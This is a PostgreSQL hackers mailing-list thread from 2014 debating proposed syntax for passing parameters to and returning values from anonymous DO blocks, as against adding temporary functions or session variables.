Anonymous code block with parameters

I'd like to propose support for IN and OUT parameters in 'DO' blocks.

Currently, anonymous code blocks (DO statements) can not receive or
return parameters.

I suggest:

1) Add a new clause to DO statement for specifying names, types,
directions and values of parameters:

DO <code> [LANGUAGE <lang>] [USING (<arguments>)]

where <arguments> has the same syntax as in
'CREATE FUNCTION <name> (<arguments>)'.

Example:

do $$ begin z := x || y; end; $$
language plpgsql
using
(
x text = '1',
in out y int4 = 123,
out z text
);

2) Values for IN and IN OUT parameters are specified using syntax for
default values of function arguments.

3) If DO statement has at least one of OUT or IN OUT parameters then it
returns one tuple containing values of OUT and IN OUT parameters.

Do you think that this feature would be useful? I have a
proof-of-concept patch in progress that I intend to publish soon.

Hi

2014-09-16 8:38 GMT+02:00 Kalyanov Dmitry <kalyanov(dot)dmitry(at)gmail(dot)com>:

> I'd like to propose support for IN and OUT parameters in 'DO' blocks.
>
> Currently, anonymous code blocks (DO statements) can not receive or
> return parameters.
>
> I suggest:
>
> 1) Add a new clause to DO statement for specifying names, types,
> directions and values of parameters:
>
> DO <code> [LANGUAGE <lang>] [USING (<arguments>)]
>
> where <arguments> has the same syntax as in
> 'CREATE FUNCTION <name> (<arguments>)'.
>
> Example:
>
> do $$ begin z := x || y; end; $$
> language plpgsql
> using
> (
> x text = '1',
> in out y int4 = 123,
> out z text
> );
>
> 2) Values for IN and IN OUT parameters are specified using syntax for
> default values of function arguments.
>
> 3) If DO statement has at least one of OUT or IN OUT parameters then it
> returns one tuple containing values of OUT and IN OUT parameters.
>
> Do you think that this feature would be useful? I have a
> proof-of-concept patch in progress that I intend to publish soon.
>
>
shortly

+1 parametrization of DO statement

-1 OUT parameters for DO - when you need OUTPUT, then use a function. A
rules used for output from something are messy now, and I strongly against
to do this area more complex. Instead we can define temporary functions or
we can define real server side session variables.

Pavel

>
>
> --
> Sent via pgsql-hackers mailing list (pgsql-hackers(at)postgresql(dot)org)
> To make changes to your subscription:
> http://www.postgresql.org/mailpref/pgsql-hackers
>

On 09/16/2014 09:38 AM, Kalyanov Dmitry wrote:
> I'd like to propose support for IN and OUT parameters in 'DO' blocks.
>
> Currently, anonymous code blocks (DO statements) can not receive or
> return parameters.
>
> I suggest:
>
> 1) Add a new clause to DO statement for specifying names, types,
> directions and values of parameters:
>
> DO <code> [LANGUAGE <lang>] [USING (<arguments>)]
>
> where <arguments> has the same syntax as in
> 'CREATE FUNCTION <name> (<arguments>)'.
>
> Example:
>
> do $$ begin z := x || y; end; $$
> language plpgsql
> using
> (
> x text = '1',
> in out y int4 = 123,
> out z text
> );
>
> 2) Values for IN and IN OUT parameters are specified using syntax for
> default values of function arguments.
>
> 3) If DO statement has at least one of OUT or IN OUT parameters then it
> returns one tuple containing values of OUT and IN OUT parameters.
>
> Do you think that this feature would be useful? I have a
> proof-of-concept patch in progress that I intend to publish soon.

There are two features here. One is to allow arguments to be passed to
DO statements. The other is to allow a DO statement to return a result.
Let's discuss them separately.

1) Passing arguments to a DO block can be useful feature, because it
allows you to pass parameters to the DO block without injecting them
into the string, which helps to avoid SQL injection attacks.

I don't like the syntax you propose though. It doesn't actually let you
pass the parameters out-of-band, so I don't really see the point. I
think this needs to work with PREPARE/EXECUTE, and the protocol-level
prepare/execute mechanism. Ie. something like this:

PREPARE mydoblock (text, int4) AS DO $$ ... $$
EXECUTE mydoblock ('foo', 123);

2) Returning values from a DO block would also be handy. But I don't see
why it should be restricted to OUT parameters. I'd suggest allowing a
RETURNS clause, like in CREATE FUNCTION:

DO $$ ... $$ LANGUAGE plpgsql RETURNS int4;

or

DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE (col1 text, col2 int4);

- Heikki

2014-09-16 9:10 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:

> On 09/16/2014 09:38 AM, Kalyanov Dmitry wrote:
>
>> I'd like to propose support for IN and OUT parameters in 'DO' blocks.
>>
>> Currently, anonymous code blocks (DO statements) can not receive or
>> return parameters.
>>
>> I suggest:
>>
>> 1) Add a new clause to DO statement for specifying names, types,
>> directions and values of parameters:
>>
>> DO <code> [LANGUAGE <lang>] [USING (<arguments>)]
>>
>> where <arguments> has the same syntax as in
>> 'CREATE FUNCTION <name> (<arguments>)'.
>>
>> Example:
>>
>> do $$ begin z := x || y; end; $$
>> language plpgsql
>> using
>> (
>> x text = '1',
>> in out y int4 = 123,
>> out z text
>> );
>>
>> 2) Values for IN and IN OUT parameters are specified using syntax for
>> default values of function arguments.
>>
>> 3) If DO statement has at least one of OUT or IN OUT parameters then it
>> returns one tuple containing values of OUT and IN OUT parameters.
>>
>> Do you think that this feature would be useful? I have a
>> proof-of-concept patch in progress that I intend to publish soon.
>>
>
> There are two features here. One is to allow arguments to be passed to DO
> statements. The other is to allow a DO statement to return a result. Let's
> discuss them separately.
>
> 1) Passing arguments to a DO block can be useful feature, because it
> allows you to pass parameters to the DO block without injecting them into
> the string, which helps to avoid SQL injection attacks.
>
> I don't like the syntax you propose though. It doesn't actually let you
> pass the parameters out-of-band, so I don't really see the point. I think
> this needs to work with PREPARE/EXECUTE, and the protocol-level
> prepare/execute mechanism. Ie. something like this:
>
> PREPARE mydoblock (text, int4) AS DO $$ ... $$
> EXECUTE mydoblock ('foo', 123);
>
> 2) Returning values from a DO block would also be handy. But I don't see
> why it should be restricted to OUT parameters. I'd suggest allowing a
> RETURNS clause, like in CREATE FUNCTION:
>
> DO $$ ... $$ LANGUAGE plpgsql RETURNS int4;
>
> or
>
> DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE (col1 text, col2 int4);
>
> - Heikki

Why we don't introduce a temporary functions instead?

Pavel

>
>
>
>
> --
> Sent via pgsql-hackers mailing list (pgsql-hackers(at)postgresql(dot)org)
> To make changes to your subscription:
> http://www.postgresql.org/mailpref/pgsql-hackers
>

On 09/16/2014 10:15 AM, Pavel Stehule wrote:
> 2014-09-16 9:10 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:
>
>> On 09/16/2014 09:38 AM, Kalyanov Dmitry wrote:
>>
>>> I'd like to propose support for IN and OUT parameters in 'DO' blocks.
>>>
>>> Currently, anonymous code blocks (DO statements) can not receive or
>>> return parameters.
>>>
>>> I suggest:
>>>
>>> 1) Add a new clause to DO statement for specifying names, types,
>>> directions and values of parameters:
>>>
>>> DO <code> [LANGUAGE <lang>] [USING (<arguments>)]
>>>
>>> where <arguments> has the same syntax as in
>>> 'CREATE FUNCTION <name> (<arguments>)'.
>>>
>>> Example:
>>>
>>> do $$ begin z := x || y; end; $$
>>> language plpgsql
>>> using
>>> (
>>> x text = '1',
>>> in out y int4 = 123,
>>> out z text
>>> );
>>>
>>> 2) Values for IN and IN OUT parameters are specified using syntax for
>>> default values of function arguments.
>>>
>>> 3) If DO statement has at least one of OUT or IN OUT parameters then it
>>> returns one tuple containing values of OUT and IN OUT parameters.
>>>
>>> Do you think that this feature would be useful? I have a
>>> proof-of-concept patch in progress that I intend to publish soon.
>>>
>>
>> There are two features here. One is to allow arguments to be passed to DO
>> statements. The other is to allow a DO statement to return a result. Let's
>> discuss them separately.
>>
>> 1) Passing arguments to a DO block can be useful feature, because it
>> allows you to pass parameters to the DO block without injecting them into
>> the string, which helps to avoid SQL injection attacks.
>>
>> I don't like the syntax you propose though. It doesn't actually let you
>> pass the parameters out-of-band, so I don't really see the point. I think
>> this needs to work with PREPARE/EXECUTE, and the protocol-level
>> prepare/execute mechanism. Ie. something like this:
>>
>> PREPARE mydoblock (text, int4) AS DO $$ ... $$
>> EXECUTE mydoblock ('foo', 123);
>>
>> 2) Returning values from a DO block would also be handy. But I don't see
>> why it should be restricted to OUT parameters. I'd suggest allowing a
>> RETURNS clause, like in CREATE FUNCTION:
>>
>> DO $$ ... $$ LANGUAGE plpgsql RETURNS int4;
>>
>> or
>>
>> DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE (col1 text, col2 int4);
>
> Why we don't introduce a temporary functions instead?

You can already do that:

create function pg_temp.tempfunc(i int4) returns int4 as $$ begin end;
$$ language plpgsql;

Compared to DO, you have to do extra steps to create the function, and
drop it when you're done. And you can't use them in a hot standby,
because it changes the catalogs. (although a better solution to that
would be to make it work, as well as temporary tables, but that's a much
bigger project).

Maybe we don't need any of this, you can just use temporary function.
But clearly someone though that DO statements are useful in general,
because we've had temporary functions for ages and we nevertheless added
the DO statement.

- Heikki

On 09/16/2014 09:15 AM, Pavel Stehule wrote:
>
>
> 2014-09-16 9:10 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com
> <mailto:hlinnakangas(at)vmware(dot)com>>:
>
> On 09/16/2014 09:38 AM, Kalyanov Dmitry wrote:
>
> I'd like to propose support for IN and OUT parameters in 'DO'
> blocks.
>
> Currently, anonymous code blocks (DO statements) can not
> receive or
> return parameters.
>
> I suggest:
>
> 1) Add a new clause to DO statement for specifying names, types,
> directions and values of parameters:
>
> DO <code> [LANGUAGE <lang>] [USING (<arguments>)]
>
> where <arguments> has the same syntax as in
> 'CREATE FUNCTION <name> (<arguments>)'.
>
> Example:
>
> do $$ begin z := x || y; end; $$
> language plpgsql
> using
> (
> x text = '1',
> in out y int4 = 123,
> out z text
> );
>
> 2) Values for IN and IN OUT parameters are specified using
> syntax for
> default values of function arguments.
>
> 3) If DO statement has at least one of OUT or IN OUT
> parameters then it
> returns one tuple containing values of OUT and IN OUT parameters.
>
> Do you think that this feature would be useful? I have a
> proof-of-concept patch in progress that I intend to publish soon.
>
>
> There are two features here. One is to allow arguments to be
> passed to DO statements. The other is to allow a DO statement to
> return a result. Let's discuss them separately.
>
> 1) Passing arguments to a DO block can be useful feature, because
> it allows you to pass parameters to the DO block without injecting
> them into the string, which helps to avoid SQL injection attacks.
>
> I don't like the syntax you propose though. It doesn't actually
> let you pass the parameters out-of-band, so I don't really see the
> point. I think this needs to work with PREPARE/EXECUTE, and the
> protocol-level prepare/execute mechanism. Ie. something like this:
>
> PREPARE mydoblock (text, int4) AS DO $$ ... $$
> EXECUTE mydoblock ('foo', 123);
>
> 2) Returning values from a DO block would also be handy. But I
> don't see why it should be restricted to OUT parameters. I'd
> suggest allowing a RETURNS clause, like in CREATE FUNCTION:
>
> DO $$ ... $$ LANGUAGE plpgsql RETURNS int4;
>
> or
>
> DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE (col1 text, col2 int4);
>
> - Heikki
>
>
> Why we don't introduce a temporary functions instead?

As I see it, the DO blocks _are_ temporary (or rather in-line)
functions, though quite restricted in not taking arguments and not
returning anything.

DO you have a better syntax for "temporary / in-line functions" ?

What I would like to to is to make DO blocks equal to any other data
source, so you could do

WITH mydoblock(col1, col2)(DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE
(col1 text, col2 int4))
SELECT * FROM mydoblock;

or

SELECT *
FROM (DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE (col1 text, col2
int4)) mydoblock;

and for the parameter-taking version

SELECT (DO $$ ... $$ LANGUAGE plpgsql USING (user) RETURNS
int4)(username) AS usernum
FROM users;

Cheers

--
Hannu Krosing
PostgreSQL Consultant
Performance, Scalability and High Availability
2ndQuadrant Nordic OÜ

2014-09-16 9:24 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:

> On 09/16/2014 10:15 AM, Pavel Stehule wrote:
>
>> 2014-09-16 9:10 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:
>>
>> On 09/16/2014 09:38 AM, Kalyanov Dmitry wrote:
>>>
>>> I'd like to propose support for IN and OUT parameters in 'DO' blocks.
>>>>
>>>> Currently, anonymous code blocks (DO statements) can not receive or
>>>> return parameters.
>>>>
>>>> I suggest:
>>>>
>>>> 1) Add a new clause to DO statement for specifying names, types,
>>>> directions and values of parameters:
>>>>
>>>> DO <code> [LANGUAGE <lang>] [USING (<arguments>)]
>>>>
>>>> where <arguments> has the same syntax as in
>>>> 'CREATE FUNCTION <name> (<arguments>)'.
>>>>
>>>> Example:
>>>>
>>>> do $$ begin z := x || y; end; $$
>>>> language plpgsql
>>>> using
>>>> (
>>>> x text = '1',
>>>> in out y int4 = 123,
>>>> out z text
>>>> );
>>>>
>>>> 2) Values for IN and IN OUT parameters are specified using syntax for
>>>> default values of function arguments.
>>>>
>>>> 3) If DO statement has at least one of OUT or IN OUT parameters then it
>>>> returns one tuple containing values of OUT and IN OUT parameters.
>>>>
>>>> Do you think that this feature would be useful? I have a
>>>> proof-of-concept patch in progress that I intend to publish soon.
>>>>
>>>>
>>> There are two features here. One is to allow arguments to be passed to DO
>>> statements. The other is to allow a DO statement to return a result.
>>> Let's
>>> discuss them separately.
>>>
>>> 1) Passing arguments to a DO block can be useful feature, because it
>>> allows you to pass parameters to the DO block without injecting them into
>>> the string, which helps to avoid SQL injection attacks.
>>>
>>> I don't like the syntax you propose though. It doesn't actually let you
>>> pass the parameters out-of-band, so I don't really see the point. I think
>>> this needs to work with PREPARE/EXECUTE, and the protocol-level
>>> prepare/execute mechanism. Ie. something like this:
>>>
>>> PREPARE mydoblock (text, int4) AS DO $$ ... $$
>>> EXECUTE mydoblock ('foo', 123);
>>>
>>> 2) Returning values from a DO block would also be handy. But I don't see
>>> why it should be restricted to OUT parameters. I'd suggest allowing a
>>> RETURNS clause, like in CREATE FUNCTION:
>>>
>>> DO $$ ... $$ LANGUAGE plpgsql RETURNS int4;
>>>
>>> or
>>>
>>> DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE (col1 text, col2 int4);
>>>
>>
>> Why we don't introduce a temporary functions instead?
>>
>
> You can already do that:
>
> create function pg_temp.tempfunc(i int4) returns int4 as $$ begin end; $$
> language plpgsql;
>

it looks much more like workaround than supported feature.

>
> Compared to DO, you have to do extra steps to create the function, and
> drop it when you're done. And you can't use them in a hot standby, because
> it changes the catalogs. (although a better solution to that would be to
> make it work, as well as temporary tables, but that's a much bigger
> project).
>
> Maybe we don't need any of this, you can just use temporary function. But
> clearly someone though that DO statements are useful in general, because
> we've had temporary functions for ages and we nevertheless added the DO
> statement.
>
>
I afraid so we create little bit obscure syntaxes, without real effect and
real cost

Any new useful syntax should be clean, simple, natural and shorter than
create function ...

and without risks a conflicts with ANSI SQL

I prefer a typed session variables, where is not risk of SQL injection or
some performance lost. The benefit of typed server side variables can be
for wide group of users.

Pavel

> - Heikki
>
>

On 09/16/2014 03:15 PM, Pavel Stehule wrote:

> Why we don't introduce a temporary functions instead?

I think that'd be a lot cleaner and simpler. It's something I've
frequently wanted, and as Hekki points out it's already possible by
creating the function in pg_temp, there just isn't the syntax sugar for
"CREATE TEMPORARY FUNCTION".

So why not just add "CREATE TEMPORARY FUNCTION"?

It means two steps:

CREATE TEMPORARY FUNCTION ... $$ $$;

SELECT my_temp_function(blah);

but I'm not personally convinced that a parameterised DO block is much
easier, and the idea just rings wrong to me.

I agree with Pavel that the natural way to parameterise DO blocks, down
the track, will be to allow them to get (and set?) SQL-typed session
variables. Of course, we'd need to support them first ;-)

--
Craig Ringer http://www.2ndQuadrant.com/
PostgreSQL Development, 24x7 Support, Training & Services

On 09/16/2014 10:44 AM, Pavel Stehule wrote:
> 2014-09-16 9:24 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:
>
>> On 09/16/2014 10:15 AM, Pavel Stehule wrote:
>>
>>> Why we don't introduce a temporary functions instead?
>>>
>>
>> You can already do that:
>>
>> create function pg_temp.tempfunc(i int4) returns int4 as $$ begin end; $$
>> language plpgsql;
>
> it looks much more like workaround than supported feature.

What do you mean? How would the temporary functions you suggest look like?

>> Compared to DO, you have to do extra steps to create the function, and
>> drop it when you're done. And you can't use them in a hot standby, because
>> it changes the catalogs. (although a better solution to that would be to
>> make it work, as well as temporary tables, but that's a much bigger
>> project).
>>
>> Maybe we don't need any of this, you can just use temporary function. But
>> clearly someone though that DO statements are useful in general, because
>> we've had temporary functions for ages and we nevertheless added the DO
>> statement.
>>
> I afraid so we create little bit obscure syntaxes, without real effect and
> real cost
>
> Any new useful syntax should be clean, simple, natural and shorter than
> create function ...

Sure. I think adding a RETURNS clause to the existing DO syntax would be
all of those.

> and without risks a conflicts with ANSI SQL

DO is not in the standard, so no risk of conflicts there.

> I prefer a typed session variables, where is not risk of SQL injection or
> some performance lost. The benefit of typed server side variables can be
> for wide group of users.

I don't see how session variables would help here. Sure, you could
"return" a value from the DO-block by stashing it to a session variable
and reading it out afterwards, but that's awkward.

- Heikki

On 09/16/2014 09:44 AM, Pavel Stehule wrote:
>
>
> 2014-09-16 9:24 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com
> <mailto:hlinnakangas(at)vmware(dot)com>>:
>
> On 09/16/2014 10:15 AM, Pavel Stehule wrote:
>
> 2014-09-16 9:10 GMT+02:00 Heikki Linnakangas
> <hlinnakangas(at)vmware(dot)com <mailto:hlinnakangas(at)vmware(dot)com>>:
>
> On 09/16/2014 09:38 AM, Kalyanov Dmitry wrote:
>
> I'd like to propose support for IN and OUT parameters
> in 'DO' blocks.
>
> Currently, anonymous code blocks (DO statements) can
> not receive or
> return parameters.
>
> I suggest:
>
> 1) Add a new clause to DO statement for specifying
> names, types,
> directions and values of parameters:
>
> DO <code> [LANGUAGE <lang>] [USING (<arguments>)]
>
> where <arguments> has the same syntax as in
> 'CREATE FUNCTION <name> (<arguments>)'.
>
> Example:
>
> do $$ begin z := x || y; end; $$
> language plpgsql
> using
> (
> x text = '1',
> in out y int4 = 123,
> out z text
> );
>
> 2) Values for IN and IN OUT parameters are specified
> using syntax for
> default values of function arguments.
>
> 3) If DO statement has at least one of OUT or IN OUT
> parameters then it
> returns one tuple containing values of OUT and IN OUT
> parameters.
>
> Do you think that this feature would be useful? I have a
> proof-of-concept patch in progress that I intend to
> publish soon.
>
>
> There are two features here. One is to allow arguments to
> be passed to DO
> statements. The other is to allow a DO statement to return
> a result. Let's
> discuss them separately.
>
> 1) Passing arguments to a DO block can be useful feature,
> because it
> allows you to pass parameters to the DO block without
> injecting them into
> the string, which helps to avoid SQL injection attacks.
>
> I don't like the syntax you propose though. It doesn't
> actually let you
> pass the parameters out-of-band, so I don't really see the
> point. I think
> this needs to work with PREPARE/EXECUTE, and the
> protocol-level
> prepare/execute mechanism. Ie. something like this:
>
> PREPARE mydoblock (text, int4) AS DO $$ ... $$
> EXECUTE mydoblock ('foo', 123);
>
> 2) Returning values from a DO block would also be handy.
> But I don't see
> why it should be restricted to OUT parameters. I'd suggest
> allowing a
> RETURNS clause, like in CREATE FUNCTION:
>
> DO $$ ... $$ LANGUAGE plpgsql RETURNS int4;
>
> or
>
> DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE (col1 text,
> col2 int4);
>
>
> Why we don't introduce a temporary functions instead?
>
>
> You can already do that:
>
> create function pg_temp.tempfunc(i int4) returns int4 as $$ begin
> end; $$ language plpgsql;
>
>
> it looks much more like workaround than supported feature.
a straightforward CREATE TEMPORARY FUNCTION implementation would do
exactly that.
>
>
>
> Compared to DO, you have to do extra steps to create the function,
> and drop it when you're done. And you can't use them in a hot
> standby, because it changes the catalogs. (although a better
> solution to that would be to make it work, as well as temporary
> tables, but that's a much bigger project).
>
> Maybe we don't need any of this, you can just use temporary
> function. But clearly someone though that DO statements are useful
> in general, because we've had temporary functions for ages and we
> nevertheless added the DO statement.
>
>
> I afraid so we create little bit obscure syntaxes, without real effect
> and real cost
I would agree with you if we had session-level "temporary" functions

But then we would still miss anonymous/in-line/on-the-spot functions
>
> Any new useful syntax should be clean, simple, natural and shorter
> than create function ...
This is not how SQL works, nor ADA nor pl/pgsql ;)
>
> and without risks a conflicts with ANSI SQL
>
> I prefer a typed session variables, where is not risk of SQL injection
> or some performance lost. The benefit of typed server side variables
> can be for wide group of users.
Agreed

but this would be a much bigger project, as Heikki already mentioned re.
temp things on replicas.

especially if typed session variables could hold temporary functions .

DECLARE FUNCTION mytempfucntion () ...

Cheers

--
Hannu Krosing
PostgreSQL Consultant
Performance, Scalability and High Availability
2ndQuadrant Nordic OÜ

2014-09-16 9:58 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:

> On 09/16/2014 10:44 AM, Pavel Stehule wrote:
>
>> 2014-09-16 9:24 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:
>>
>> On 09/16/2014 10:15 AM, Pavel Stehule wrote:
>>>
>>> Why we don't introduce a temporary functions instead?
>>>>
>>>>
>>> You can already do that:
>>>
>>> create function pg_temp.tempfunc(i int4) returns int4 as $$ begin end; $$
>>> language plpgsql;
>>>
>>
>> it looks much more like workaround than supported feature.
>>
>
> What do you mean? How would the temporary functions you suggest look like?
>

CREATE TEMPORARY FUNCTION ...

>
> Compared to DO, you have to do extra steps to create the function, and
>>> drop it when you're done. And you can't use them in a hot standby,
>>> because
>>> it changes the catalogs. (although a better solution to that would be to
>>> make it work, as well as temporary tables, but that's a much bigger
>>> project).
>>>
>>> Maybe we don't need any of this, you can just use temporary function. But
>>> clearly someone though that DO statements are useful in general, because
>>> we've had temporary functions for ages and we nevertheless added the DO
>>> statement.
>>>
>>> I afraid so we create little bit obscure syntaxes, without real effect
>> and
>> real cost
>>
>> Any new useful syntax should be clean, simple, natural and shorter than
>> create function ...
>>
>
> Sure. I think adding a RETURNS clause to the existing DO syntax would be
> all of those.
>
> and without risks a conflicts with ANSI SQL
>>
>
> DO is not in the standard, so no risk of conflicts there.
>

I had a "WIDTH ... " proposal on my mind

>
> I prefer a typed session variables, where is not risk of SQL injection or
>> some performance lost. The benefit of typed server side variables can be
>> for wide group of users.
>>
>
> I don't see how session variables would help here. Sure, you could
> "return" a value from the DO-block by stashing it to a session variable and
> reading it out afterwards, but that's awkward.
>

you can use a global variables for injection values into block.

I am not against to do some simple parametrization, but some more complex
work with DO statement I don't would. It is messy now, and I don't see any
benefit from this area

Pavel

>
> - Heikki
>
>

2014-09-16 10:01 GMT+02:00 Hannu Krosing <hannu(at)2ndquadrant(dot)com>:

> On 09/16/2014 09:44 AM, Pavel Stehule wrote:
>
>
>
> 2014-09-16 9:24 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:
>
>> On 09/16/2014 10:15 AM, Pavel Stehule wrote:
>>
>>> 2014-09-16 9:10 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:
>>>
>>> On 09/16/2014 09:38 AM, Kalyanov Dmitry wrote:
>>>>
>>>> I'd like to propose support for IN and OUT parameters in 'DO' blocks.
>>>>>
>>>>> Currently, anonymous code blocks (DO statements) can not receive or
>>>>> return parameters.
>>>>>
>>>>> I suggest:
>>>>>
>>>>> 1) Add a new clause to DO statement for specifying names, types,
>>>>> directions and values of parameters:
>>>>>
>>>>> DO <code> [LANGUAGE <lang>] [USING (<arguments>)]
>>>>>
>>>>> where <arguments> has the same syntax as in
>>>>> 'CREATE FUNCTION <name> (<arguments>)'.
>>>>>
>>>>> Example:
>>>>>
>>>>> do $$ begin z := x || y; end; $$
>>>>> language plpgsql
>>>>> using
>>>>> (
>>>>> x text = '1',
>>>>> in out y int4 = 123,
>>>>> out z text
>>>>> );
>>>>>
>>>>> 2) Values for IN and IN OUT parameters are specified using syntax for
>>>>> default values of function arguments.
>>>>>
>>>>> 3) If DO statement has at least one of OUT or IN OUT parameters then it
>>>>> returns one tuple containing values of OUT and IN OUT parameters.
>>>>>
>>>>> Do you think that this feature would be useful? I have a
>>>>> proof-of-concept patch in progress that I intend to publish soon.
>>>>>
>>>>>
>>>> There are two features here. One is to allow arguments to be passed to
>>>> DO
>>>> statements. The other is to allow a DO statement to return a result.
>>>> Let's
>>>> discuss them separately.
>>>>
>>>> 1) Passing arguments to a DO block can be useful feature, because it
>>>> allows you to pass parameters to the DO block without injecting them
>>>> into
>>>> the string, which helps to avoid SQL injection attacks.
>>>>
>>>> I don't like the syntax you propose though. It doesn't actually let you
>>>> pass the parameters out-of-band, so I don't really see the point. I
>>>> think
>>>> this needs to work with PREPARE/EXECUTE, and the protocol-level
>>>> prepare/execute mechanism. Ie. something like this:
>>>>
>>>> PREPARE mydoblock (text, int4) AS DO $$ ... $$
>>>> EXECUTE mydoblock ('foo', 123);
>>>>
>>>> 2) Returning values from a DO block would also be handy. But I don't see
>>>> why it should be restricted to OUT parameters. I'd suggest allowing a
>>>> RETURNS clause, like in CREATE FUNCTION:
>>>>
>>>> DO $$ ... $$ LANGUAGE plpgsql RETURNS int4;
>>>>
>>>> or
>>>>
>>>> DO $$ ... $$ LANGUAGE plpgsql RETURNS TABLE (col1 text, col2 int4);
>>>>
>>>
>>> Why we don't introduce a temporary functions instead?
>>>
>>
>> You can already do that:
>>
>> create function pg_temp.tempfunc(i int4) returns int4 as $$ begin end; $$
>> language plpgsql;
>>
>
> it looks much more like workaround than supported feature.
>
> a straightforward CREATE TEMPORARY FUNCTION implementation would do
> exactly that.
>
>
>
>>
>> Compared to DO, you have to do extra steps to create the function, and
>> drop it when you're done. And you can't use them in a hot standby, because
>> it changes the catalogs. (although a better solution to that would be to
>> make it work, as well as temporary tables, but that's a much bigger
>> project).
>>
>> Maybe we don't need any of this, you can just use temporary function. But
>> clearly someone though that DO statements are useful in general, because
>> we've had temporary functions for ages and we nevertheless added the DO
>> statement.
>>
>>
> I afraid so we create little bit obscure syntaxes, without real effect
> and real cost
>
> I would agree with you if we had session-level "temporary" functions
>
> But then we would still miss anonymous/in-line/on-the-spot functions
>
>
> Any new useful syntax should be clean, simple, natural and shorter than
> create function ...
>
> This is not how SQL works, nor ADA nor pl/pgsql ;)
>

sure -- two languages are hard to maintain, hard to develop. Three ... my
God :)

>
> and without risks a conflicts with ANSI SQL
>
> I prefer a typed session variables, where is not risk of SQL injection
> or some performance lost. The benefit of typed server side variables can be
> for wide group of users.
>
> Agreed
>
> but this would be a much bigger project, as Heikki already mentioned re.
> temp things on replicas.
>

probably

>
> especially if typed session variables could hold temporary functions .
>
> DECLARE FUNCTION mytempfucntion () ...
>

Why not? When somebody solves a work with dynamic planning and solves all
issues related to stored plans. Still we have a issues, when some changes
needs a session cleaning (disconnect)

Regards

Pavel

>
>
> Cheers
>
> --
> Hannu Krosing
> PostgreSQL Consultant
> Performance, Scalability and High Availability
> 2ndQuadrant Nordic OÜ
>
>

On 09/16/2014 10:57 AM, Craig Ringer wrote:
> On 09/16/2014 03:15 PM, Pavel Stehule wrote:
>
>> Why we don't introduce a temporary functions instead?
>
> I think that'd be a lot cleaner and simpler. It's something I've
> frequently wanted, and as Hekki points out it's already possible by
> creating the function in pg_temp, there just isn't the syntax sugar for
> "CREATE TEMPORARY FUNCTION".
>
> So why not just add "CREATE TEMPORARY FUNCTION"?

Sure, why not.

> It means two steps:
>
> CREATE TEMPORARY FUNCTION ... $$ $$;
>
> SELECT my_temp_function(blah);
>
> but I'm not personally convinced that a parameterised DO block is much
> easier, and the idea just rings wrong to me.

With the above, you'll have to remember to drop the function when you're
done, or deal with the fact that the function might already exist.
That's doable, of course, but with a DO statement you don't have to.

> I agree with Pavel that the natural way to parameterise DO blocks, down
> the track, will be to allow them to get (and set?) SQL-typed session
> variables. Of course, we'd need to support them first ;-)

I responded to Pavel that using a session variable for a return value
would be awkward, but using them as parameters would open a different
can of worms. A session variable might change while the statement is
run, so for anything but trivial DO blocks, a best practice would have
to be to copy the session variable to a local variable as the first
thing to do. For example, if you just use session variables arg1 and
arg2, and you call a function that uses those same session variables for
some other purposes, you will be surprised. Also, you'd have to remember
to reset the session variables after use if there's any sensitive
information in them, or you might leak them to surprising places. And if
you forget to pass an argument, i.e. you forget to set a session
variable that's used as an argument, the parser would not help you to
catch your mistake but would merrily run the DO block with whatever the
content of the argument happens to be.

Using session variables for arguments would be anything but natural.

- Heikki

2014-09-16 10:09 GMT+02:00 Heikki Linnakangas <hlinnakangas(at)vmware(dot)com>:

> On 09/16/2014 10:57 AM, Craig Ringer wrote:
>
>> On 09/16/2014 03:15 PM, Pavel Stehule wrote:
>>
>> Why we don't introduce a temporary functions instead?
>>>
>>
>> I think that'd be a lot cleaner and simpler. It's something I've
>> frequently wanted, and as Hekki points out it's already possible by
>> creating the function in pg_temp, there just isn't the syntax sugar for
>> "CREATE TEMPORARY FUNCTION".
>>
>> So why not just add "CREATE TEMPORARY FUNCTION"?
>>
>
> Sure, why not.
>
> It means two steps:
>>
>> CREATE TEMPORARY FUNCTION ... $$ $$;
>>
>> SELECT my_temp_function(blah);
>>
>> but I'm not personally convinced that a parameterised DO block is much
>> easier, and the idea just rings wrong to me.
>>
>
> With the above, you'll have to remember to drop the function when you're
> done, or deal with the fact that the function might already exist. That's
> doable, of course, but with a DO statement you don't have to.
>
> I agree with Pavel that the natural way to parameterise DO blocks, down
>> the track, will be to allow them to get (and set?) SQL-typed session
>> variables. Of course, we'd need to support them first ;-)
>>
>
> I responded to Pavel that using a session variable for a return value
> would be awkward, but using them as parameters would open a different can
> of worms. A session variable might change while the statement is run, so
> for anything but trivial DO blocks, a best practice would have to be to
> copy the session variable to a local variable as the first thing to do. For
> example, if you just use session variables arg1 and arg2, and you call a
> function that uses those same session variables for some other purposes,
> you will be surprised. Also, you'd have to remember to reset the session
> variables after use if there's any sensitive information in them, or you
> might leak them to surprising places. And if you forget to pass an
> argument, i.e. you forget to set a session variable that's used as an
> argument, the parser would not help you to catch your mistake but would
> merrily run the DO block with whatever the content of the argument happens
> to be.
>

Personally I can't to imagine some more complex code as DO block.

>
> Using session variables for arguments would be anything but natural.
>

> - Heikki
>
>

Hi,

On 2014-09-16 10:24:52 +0300, Heikki Linnakangas wrote:
> On 09/16/2014 10:15 AM, Pavel Stehule wrote:
> >Why we don't introduce a temporary functions instead?
>
> You can already do that:
>
> create function pg_temp.tempfunc(i int4) returns int4 as $$ begin end; $$
